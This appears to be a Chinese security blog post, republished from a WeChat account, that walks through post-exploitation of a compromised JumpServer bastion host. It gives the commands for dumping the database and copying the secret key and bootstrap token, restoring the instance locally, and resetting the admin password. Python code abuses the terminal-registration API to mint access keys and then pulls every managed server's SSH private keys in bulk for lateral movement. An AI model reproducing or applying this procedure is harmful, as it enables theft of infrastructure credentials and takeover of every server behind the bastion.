Jumpserver 数据恢复之所有服务器权限
某次渗透中遇到了Jumpserver,成功拿到Jumpserver服务器后,计划对Jumpserver中配置的其他服务器进行横向攻击,因此有了这篇文章。
从目标服务器获取数据
拿到服务器之后,下载Jumpserver的数据库配置,一般是mysql。
获取配置文件,找持久化存储/opt/jumpserver
的文件夹中的文件,一般是config.txt
或者.env
查看mysql密码,将Jumpserver数据库拖回来
cat config.txt
DB_PASSWORD=数据库密码
docker exec -it jms_mysql bash
mysqldump -h 127.0.0.1 -P3306 -uroot -p'数据库密码' --all-databases --single-transaction --no-tablespaces | gzip > data.sql.gz
docker cp jms_mysql:/tmp/data.sql.gz .
记录key和token
SECRET_KEY=
BOOTSTRAP_TOKEN=
本地恢复
从官方文档可知,直接docker起就完事了
git clone https://github.com/jumpserver/Dockerfile ~/jumpserver
cd ~/jumpserver
cp config_example.conf .env
vi .env
把我们之前获取到的key和token配置上。
先把数据库启动,然后导入data.sql
数据库文件
cd ~/jumpserver
docker-compose -f docker-compose-network.yml -f docker-compose-redis.yml -f docker-compose-mariadb.yml -f docker-compose-init-db.yml up -d
docker exec -it jms_mysql bash
mysql -uroot -p
use jumpserver
source /tmp/data.sql;
配置完毕数据库之后,更新数据库,启动jumpserver的web、koko等服务。
docker exec -i jms_core bash -c './jms upgrade_db'
docker-compose -f docker-compose-network.yml -f docker-compose.yml up -d
重置密码
docker exec -it jms_core bash
cd apps
python3 manage.py changepassword admin
登陆jumpserver
使用重置之后的账号密码进行登录,设置多因子认证,以便于获取ssh私钥
手动查看ssh私钥
都能手动查看了,遇到量大的数据,总不能每个主机都上去点点点吧,当然要写脚本批量获取喽
脚本批量查看
根据Roc木木
师傅的说法来看,Jumpserver各个组件与core之间的API调用是通过AccessKey
进行认证鉴权,AccessKey
是在服务启动时通过BOOTSTRAP_TOKEN
向core模块注册服务账号来获取的。我们利用koko的模块向core发起注册请求,以便获取AccessKey
,
https://github.com/jumpserver/koko/blob/00cee388993ee6e92889df24aa033d09ce132fc5/pkg/koko/koko.go
调用MustLoadValidAccessKey
方法返回AccessKey
从文件中获取,如果没有则调用MustRegisterTerminalAccount
方法。文件位置在docker koko的 data/keys/.access_key
注册TerminalAccount的流程如下:
实际注册服务账号的方法如下(找service的实现就行了)
可以看到请求在/api/v1/terminal/terminal-registrations/
接口,只需要设置Authorization
头,参数为BootstrapToken {}
即可。
代码部分,注意申请时name不能重复。
def get_accesskey(jms_url, BootToken):
url = jms_url + '/api/v1/terminal/terminal-registrations/'
headers = {'Authorization': 'BootstrapToken {}'.format(BootToken)}
data = {'name': 'test13', 'comment': 'koko', 'type': 'koko'}
response = requests.post(url, headers=headers, data=data)
if response.status_code == 201:
# print(response.text)
access_id = json.loads(response.text)['service_account']['access_key']['id']
access_secret = json.loads(response.text)['service_account']['access_key']['secret']
else:
print('Request failed with status code:', response.status_code)
return None
return access_id, access_secret
获取到access_id
以及access_secret
之后,利用这两个参数请求HTTPSignatureAuth
即可获取到认证,然后利用这个认证,即可请求所有的api接口获取信息。
利用auth请求account-secrets
接口,用于批量获取所有的ssh私钥
,由于篇幅有限,只显示部分代码:
def get_account_secrets_info(jms_url, accounts_id):
url = jms_url + '/api/v1/accounts/account-secrets/{}/'.format(accounts_id)
gmt_form = '%a, %d %b %Y %H:%M:%S GMT'
headers = {
'Accept': 'application/json',
'X-JMS-ORG': '00000000-0000-0000-0000-000000000002',
'Cookie': 'jms_sessionid=cbh8wk2h5t99au1anqmx307y7a7ocddh',
'Date': datetime.datetime.utcnow().strftime(gmt_form)
}
response = requests.get(url, proxies=proxies, headers=headers)
return response.json()
这里有个小坑,其他api请求部分都不需要二次验证,所以很轻易就获取了api的数据,而查看ssh私钥是需要mfa二次验证的,所以需要手动获取一下jms_sessionid
完整代码可后台回复jumpserver
即可进行查看。
原文始发于微信公众号(安全光圈):Jumpserver 数据恢复之所有服务器权限